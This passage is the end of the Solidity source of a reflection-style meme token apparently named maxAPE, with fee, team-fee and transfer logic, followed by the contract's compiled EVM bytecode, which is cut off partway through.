_rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610567578063c3c8cd801461062c578063c9567bf914610643578063d543dbeb1461065a578063dd62ed3e1461069557610114565b8063715018a61461040e5780638da5cb5b1461042557806395d89b4114610466578063a9059cbb146104f657610114565b8063273123b7116100dc578063273123b7146102d6578063313ce567146103275780635932ead1146103555780636fc3eaec1461039257806370a08231146103a957610114565b806306fdde0314610119578063095ea7b3146101a957806318160ddd1461021a57806323b872dd1461024557610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e61071a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016e578082015181840152602081019050610153565b50505050905090810190601f16801561019b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b557600080fd5b50610202600480360360408110156101cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610757565b60405180821515815260200191505060405180910390f35b34801561022657600080fd5b5061022f610775565b6040518082815260200191505060405180910390f35b34801561025157600080fd5b506102be6004803603606081101561026857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610786565b60405180821515815260200191505060405180910390f35b3480156102e257600080fd5b50610325600480360360208110156102f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061085f565b005b34801561033357600080fd5b5061033c610982565b604051808260ff16815260200191505060405180910390f35b34801561036157600080fd5b506103906004803603602081101561037857600080fd5b8101908080351515906020019092919050505061098b565b005b34801561039e57600080fd5b506103a7610a70565b005b3480156103b557600080fd5b506103f8600480360360208110156103cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ae2565b6040518082815260200191505060405180910390f35b34801561041a57600080fd5b50610423610bcd565b005b34801561043157600080fd5b5061043a610d53565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047257600080fd5b5061047b610d7c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104bb5780820151818401526020810190506104a0565b50505050905090810190601f1680156104e85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050257600080fd5b5061054f6004803603604081101561051957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610db9565b60405180821515815260200191505060405180910390f35b34801561057357600080fd5b5061062a6004803603602081101561058a57600080fd5b81019080803590602001906401000000008111156105a757600080fd5b8201836020820111156105b957600080fd5b803590602001918460208302840111640100000000831117156105db57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610dd7565b005b34801561063857600080fd5b50610641610f27565b005b34801561064f57600080fd5b50610658610fa1565b005b34801561066657600080fd5b506106936004803603602081101561067d57600080fd5b810190808035906020019092919050505061161e565b005b3480156106a157600080fd5b50610704600480360360408110156106b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117cd565b6040518082815260200191505060405180910390f35b60606040518060400160405280600b81526020017f742e6d652f6d6178415045000000000000000000000000000000000000000000815250905090565b600061076b610764611854565b848461185c565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610793848484611a53565b6108548461079f611854565b61084f85604051806060016040528060288152602001613d0c60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610805611854565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461227e9092919063ffffffff16565b61185c565b600190509392505050565b610867611854565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610927576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610993611854565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a53576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ab1611854565b73ffffffffffffffffffffffffffffffffffffffff1614610ad157600080fd5b6000479050610adf8161233e565b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610b7d57600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610bc8565b610bc5600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612439565b90505b919050565b610bd5611854565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c95576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f6d61784150450000000000000000000000000000000000000000000000000000815250905090565b6000610dcd610dc6611854565b8484611a53565b6001905092915050565b610ddf611854565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e9f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b8151811015610f2357600160076000848481518110610ebd57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050610ea2565b5050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f68611854565b73ffffffffffffffffffffffffffffffffffffffff1614610f8857600080fd5b6000610f9330610ae2565b9050610f9e816124bd565b50565b610fa9611854565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611069576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b601360149054906101000a900460ff16156110ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f74726164696e6720697320616c7265616479206f70656e00000000000000000081525060200191505060405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061117c30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061185c565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156111c257600080fd5b505afa1580156111d6573d6000803e3d6000fd5b505050506040513d60208110156111ec57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561125f57600080fd5b505afa158015611273573d6000803e3d6000fd5b505050506040513d602081101561128957600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15801561130357600080fd5b505af1158015611317573d6000803e3d6000fd5b505050506040513d602081101561132d57600080fd5b8101908080519060200190929190505050601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306113c730610ae2565b6000806113d2610d53565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b15801561145757600080fd5b505af115801561146b573d6000803e3d6000fd5b50505050506040513d606081101561148257600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001601360166101000a81548160ff0219169083151502179055506000601360176101000a81548160ff021916908315150217905550673afb087b876900006014819055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156115df57600080fd5b505af11580156115f3573d6000803e3d6000fd5b505050506040513d602081101561160957600080fd5b81019080805190602001909291905050505050565b611626611854565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000811161175c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b61178b606461177d83683635c9adc5dea000006127a790919063ffffffff16565b61282d90919063ffffffff16565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6014546040518082815260200191505060405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118e2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613d826024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611968576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613cc96022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611ad9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613d5d6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613c7c6023913960400191505060405180910390fd5b60008111611bb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613d346029913960400191505060405180910390fd5b611bc0610d53565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c2e5750611bfe610d53565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156121bb57601360179054906101000a900460ff1615611e94573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611cb057503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611d0a5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611d645750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e9357601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611daa611854565b73ffffffffffffffffffffffffffffffffffffffff161480611e205750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611e08611854565b73ffffffffffffffffffffffffffffffffffffffff16145b611e92576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4552523a20556e6973776170206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b5b5b601454811115611ea357600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f475750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611f5057600080fd5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611ffb5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120515750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156120695750601360179054906101000a900460ff165b156121015742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106120b957600080fd5b601e4201600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061210c30610ae2565b9050601360159054906101000a900460ff161580156121795750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156121915750601360169054906101000a900460ff165b156121b95761219f816124bd565b600047905060008111156121b7576121b64761233e565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806122625750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561226c57600090505b61227884848484612877565b50505050565b600083831115829061232b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156122f05780820151818401526020810190506122d5565b50505050905090810190601f16801561231d5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61238e60028461282d90919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156123b9573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61240a60028461282d90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612435573d6000803e3d6000fd5b5050565b6000600a54821115612496576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613c9f602a913960400191505060405180910390fd5b60006124a0612ace565b90506124b5818461282d90919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506060600267ffffffffffffffff811180156124f257600080fd5b506040519080825280602002602001820160405280156125215781602001602082028036833780820191505090505b509050308160008151811061253257fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156125d457600080fd5b505afa1580156125e8573d6000803e3d6000fd5b505050506040513d60208110156125fe57600080fd5b81019080805190602001909291905050508160018151811061261c57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061268330601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461185c565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b8381101561274757808201518184015260208101905061272c565b505050509050019650505050505050600060405180830381600087803b15801561277057600080fd5b505af1158015612784573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b6000808314156127ba5760009050612827565b60008284029050828482816127cb57fe5b0414612822576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613ceb6021913960400191505060405180910390fd5b809150505b92915050565b600061286f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612af9565b905092915050565b8061288557612884612bbf565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156129285750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561293d57612938848484612c02565b612aba565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156129e05750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156129f5576129f0848484612e62565b612ab9565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612a975750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612aac57612aa78484846130c2565b612ab8565b612ab78484846133b7565b5b5b5b80612ac857612ac7613582565b5b50505050565b6000806000612adb613596565b91509150612af2818361282d90919063ffffffff16565b9250505090565b60008083118290612ba5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612b6a578082015181840152602081019050612b4f565b50505050905090810190601f168015612b975780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612bb157fe5b049050809150509392505050565b6000600c54148015612bd357506000600d54145b15612bdd57612c00565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612c1487613843565b955095509550955095509550612c7287600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138ab90919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d0786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138ab90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d9c85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f590919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612de88161397d565b612df28483613b22565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080612e7487613843565b955095509550955095509550612ed286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138ab90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f6783600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f590919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ffc85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f590919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506130488161397d565b6130528483613b22565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806130d487613843565b95509550955095509550955061313287600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138ab90919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506131c786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138ab90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061325c83600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f590919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506132f185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f590919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061333d8161397d565b6133478483613b22565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806133c987613843565b95509550955095509550955061342786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138ab90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506134bc85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f590919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506135088161397d565b6135128483613b22565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600a5490506000683635c9adc5dea00000905060005b6009805490508110156137f8578260026000600984815481106135d057fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411806136b7575081600360006009848154811061364f57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b156136d557600a54683635c9adc5dea000009450945050505061383f565b61375e60026000600984815481106136e957fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846138ab90919063ffffffff16565b92506137e9600360006009848154811061377457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836138ab90919063ffffffff16565b915080806001019150506135b1565b50613817683635c9adc5dea00000600a5461282d90919063ffffffff16565b82101561383657600a54683635c9adc5dea0000093509350505061383f565b81819350935050505b9091565b60008060008060008060008060006138608a600c54600d54613b5c565b9250925092506000613870612ace565b905060008060006138838e878787613bf2565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006138ed83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061227e565b905092915050565b600080828401905083811015613973576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000613987612ace565b9050600061399e82846127a790919063ffffffff16565b90506139f281600260003073ffffffffffffff